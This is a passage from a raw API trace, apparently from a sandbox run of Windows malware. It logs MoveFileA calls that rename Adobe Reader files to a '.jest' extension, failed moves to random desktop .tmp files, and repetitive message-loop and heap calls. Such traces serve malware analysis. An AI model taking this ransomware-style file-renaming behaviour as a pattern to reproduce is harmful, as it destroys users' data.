9x4BL_Wg1m6qJrY-0fLd29E_uK4dF-M6g-evHqZvkh6p4PAa3yxsTRMSe76blfWgkSEJDNt4vEV7vBiEGkm-kigwdAYd4V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ykofti 9x4bl_wg1m6qjry-0fld29e_uk4df-m6g-evhqzvkh6p4paa3yxstrmse76blfwgksejdnt4vev7vbiegkm-kigwdayd4v.tmp")) returned 0 [0151.350] GetLastError () returned 0x2 [0151.350] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.351] CoFreeUnusedLibraries () [0151.351] GetTickCount () returned 0x11579b3 [0151.351] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.351] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.351] GetTickCount () returned 0x11579b3 [0151.351] IsWindowVisible (hWnd=0x30268) returned 0 [0151.351] Sleep (dwMilliseconds=0x0) [0151.353] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt.jest")) returned 1 [0151.354] GetLastError () returned 0x0 [0151.354] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹂硴t") returned 0x6b [0151.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.354] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹂硴t") returned 0x6b [0151.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt") returned 108 [0151.354] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹂硴⹴敪瑳") returned 0x70 [0151.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.354] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䱟⹂硴⹴敪瑳") returned 0x70 [0151.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt.jest") returned 113 [0151.355] VarBstrFromR4 (in: fltIn=0x47945085, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.04") returned 0x0 [0151.355] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.355] CoFreeUnusedLibraries () [0151.355] GetTickCount () returned 0x11579b3 [0151.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.356] GetTickCount () returned 0x11579b3 [0151.356] IsWindowVisible (hWnd=0x30268) returned 0 [0151.356] Sleep (dwMilliseconds=0x0) [0151.357] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PABdX95RCyQwLOl2q0LSLFRnwO3GKLWyMfvrtnCm9qhdLI7xqltdiBypYSv 4XUkj-d9ZJQIqMX-c9Bl9928Vi3B 9E7bRsfRXd2U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pabdx95rcyqwlol2q0lslfrnwo3gklwymfvrtncm9qhdli7xqltdibypysv 4xukj-d9zjqiqmx-c9bl9928vi3b 9e7brsfrxd2u.tmp")) returned 0 [0151.357] GetLastError () returned 0x2 [0151.358] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.358] CoFreeUnusedLibraries () [0151.358] GetTickCount () returned 0x11579b3 [0151.358] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.358] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.358] GetTickCount () returned 0x11579b3 [0151.358] IsWindowVisible (hWnd=0x30268) returned 0 [0151.358] Sleep (dwMilliseconds=0x0) [0151.360] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt.jest")) returned 1 [0151.363] GetLastError () returned 0x0 [0151.363] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䭟⹗硴t") returned 0x6b [0151.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.363] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䭟⹗硴t") returned 0x6b [0151.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x14cf144, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt") returned 108 [0151.363] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䭟⹗硴⹴敪瑳") returned 0x70 [0151.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.363] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䭟⹗硴⹴敪瑳") returned 0x70 [0151.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt.jest") returned 113 [0151.364] VarBstrFromR4 (in: fltIn=0x47945087, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.05") returned 0x0 [0151.364] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.365] CoFreeUnusedLibraries () [0151.365] GetTickCount () returned 0x11579c2 [0151.365] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.365] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.365] GetTickCount () returned 0x11579c2 [0151.365] IsWindowVisible (hWnd=0x30268) returned 0 [0151.365] Sleep (dwMilliseconds=0x0) [0151.366] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iRVSygFuxuOKvj8l8o6fcmtb95_1p2WVMqhLhQ_T_J-DrRwLX-oICNitkEiLHctBe UTCazcJWUbWgzPCQEToXrftQqyxXjTdOMm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\irvsygfuxuokvj8l8o6fcmtb95_1p2wvmqhlhq_t_j-drrwlx-oicnitkeilhctbe utcazcjwubwgzpcqetoxrftqqyxxjtdomm.tmp")) returned 0 [0151.366] GetLastError () returned 0x2 [0151.367] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.367] CoFreeUnusedLibraries () [0151.367] GetTickCount () returned 0x11579c2 [0151.367] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.367] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.367] GetTickCount () returned 0x11579c2 [0151.367] IsWindowVisible (hWnd=0x30268) returned 0 [0151.367] Sleep (dwMilliseconds=0x0) [0151.368] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt.jest")) returned 1 [0151.369] GetLastError () returned 0x0 [0151.369] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䩟⹏硴t") returned 0x6b [0151.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.369] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䩟⹏硴t") returned 0x6b [0151.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt") returned 108 [0151.369] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䩟⹏硴⹴敪瑳") returned 0x70 [0151.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.369] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䩟⹏硴⹴敪瑳") returned 0x70 [0151.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt.jest") returned 113 [0151.370] VarBstrFromR4 (in: fltIn=0x47945087, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.05") returned 0x0 [0151.370] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.370] CoFreeUnusedLibraries () [0151.370] GetTickCount () returned 0x11579c2 [0151.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.371] GetTickCount () returned 0x11579c2 [0151.371] IsWindowVisible (hWnd=0x30268) returned 0 [0151.371] Sleep (dwMilliseconds=0x0) [0151.372] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ uXhcT SG2x lOJJY0CtW vWwtwIWzk BEHRnoCidm7DFL0udcut3XtsxRcL8syACwe5HRAeFtKMYbyKuTHvWL93I HhpoWGdKu7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ uxhct sg2x lojjy0ctw vwwtwiwzk behrnocidm7dfl0udcut3xtsxrcl8syacwe5hraeftkmybykuthvwl93i hhpowgdku7.tmp")) returned 0 [0151.372] GetLastError () returned 0x2 [0151.372] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.372] CoFreeUnusedLibraries () [0151.373] GetTickCount () returned 0x11579c2 [0151.373] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.373] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.373] GetTickCount () returned 0x11579c2 [0151.373] IsWindowVisible (hWnd=0x30268) returned 0 [0151.373] Sleep (dwMilliseconds=0x0) [0151.373] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt.jest")) returned 1 [0151.375] GetLastError () returned 0x0 [0151.375] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹑硴t") returned 0x6b [0151.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.375] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹑硴t") returned 0x6b [0151.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt") returned 108 [0151.375] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹑硴⹴敪瑳") returned 0x70 [0151.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.375] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹑硴⹴敪瑳") returned 0x70 [0151.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt.jest") returned 113 [0151.376] VarBstrFromR4 (in: fltIn=0x47945089, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.07") returned 0x0 [0151.376] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.376] CoFreeUnusedLibraries () [0151.376] GetTickCount () returned 0x11579d2 [0151.376] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.376] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.376] GetTickCount () returned 0x11579d2 [0151.376] IsWindowVisible (hWnd=0x30268) returned 0 [0151.376] Sleep (dwMilliseconds=0x0) [0151.377] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\leidnzAJBTmrmo9uophBGKUGcZ5iIVv-7LW7EfesR8W6XwwonWrKf JIoDQ_PUls0e8rMkrp3l-RgZCfdhuqHCVTLj6sen8kpR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\leidnzajbtmrmo9uophbgkugcz5iivv-7lw7efesr8w6xwwonwrkf jiodq_puls0e8rmkrp3l-rgzcfdhuqhcvtlj6sen8kpr.tmp")) returned 0 [0151.378] GetLastError () returned 0x2 [0151.378] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.378] CoFreeUnusedLibraries () [0151.378] GetTickCount () returned 0x11579d2 [0151.378] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.378] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.378] GetTickCount () returned 0x11579d2 [0151.378] IsWindowVisible (hWnd=0x30268) returned 0 [0151.378] Sleep (dwMilliseconds=0x0) [0151.379] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt.jest")) returned 1 [0151.380] GetLastError () returned 0x0 [0151.380] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹎硴t") returned 0x6b [0151.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.380] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹎硴t") returned 0x6b [0151.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt") returned 108 [0151.380] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹎硴⹴敪瑳") returned 0x70 [0151.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.380] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䥟⹎硴⹴敪瑳") returned 0x70 [0151.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt.jest") returned 113 [0151.381] VarBstrFromR4 (in: fltIn=0x47945089, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.07") returned 0x0 [0151.381] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.381] CoFreeUnusedLibraries () [0151.381] GetTickCount () returned 0x11579d2 [0151.381] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.382] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.382] GetTickCount () returned 0x11579d2 [0151.382] IsWindowVisible (hWnd=0x30268) returned 0 [0151.382] Sleep (dwMilliseconds=0x0) [0151.383] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SImJURyfVK3k2l7HdIviU3TCaevHZQ8yMpV8w6B8nFWUvMR2qiM4dS3LuLg4XRGXy3UJQREGZRD6q3o5uZzc_TYzyYgsFBF--l4Mz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\simjuryfvk3k2l7hdiviu3tcaevhzq8ympv8w6b8nfwuvmr2qim4ds3lulg4xrgxy3ujqregzrd6q3o5uzzc_tyzyygsfbf--l4mz.tmp")) returned 0 [0151.383] GetLastError () returned 0x2 [0151.383] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.384] CoFreeUnusedLibraries () [0151.384] GetTickCount () returned 0x11579d2 [0151.384] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.384] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.384] GetTickCount () returned 0x11579d2 [0151.384] IsWindowVisible (hWnd=0x30268) returned 0 [0151.384] Sleep (dwMilliseconds=0x0) [0151.384] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt.jest")) returned 1 [0151.386] GetLastError () returned 0x0 [0151.386] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䕟⹇硴t") returned 0x6b [0151.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.386] SysStringByteLen 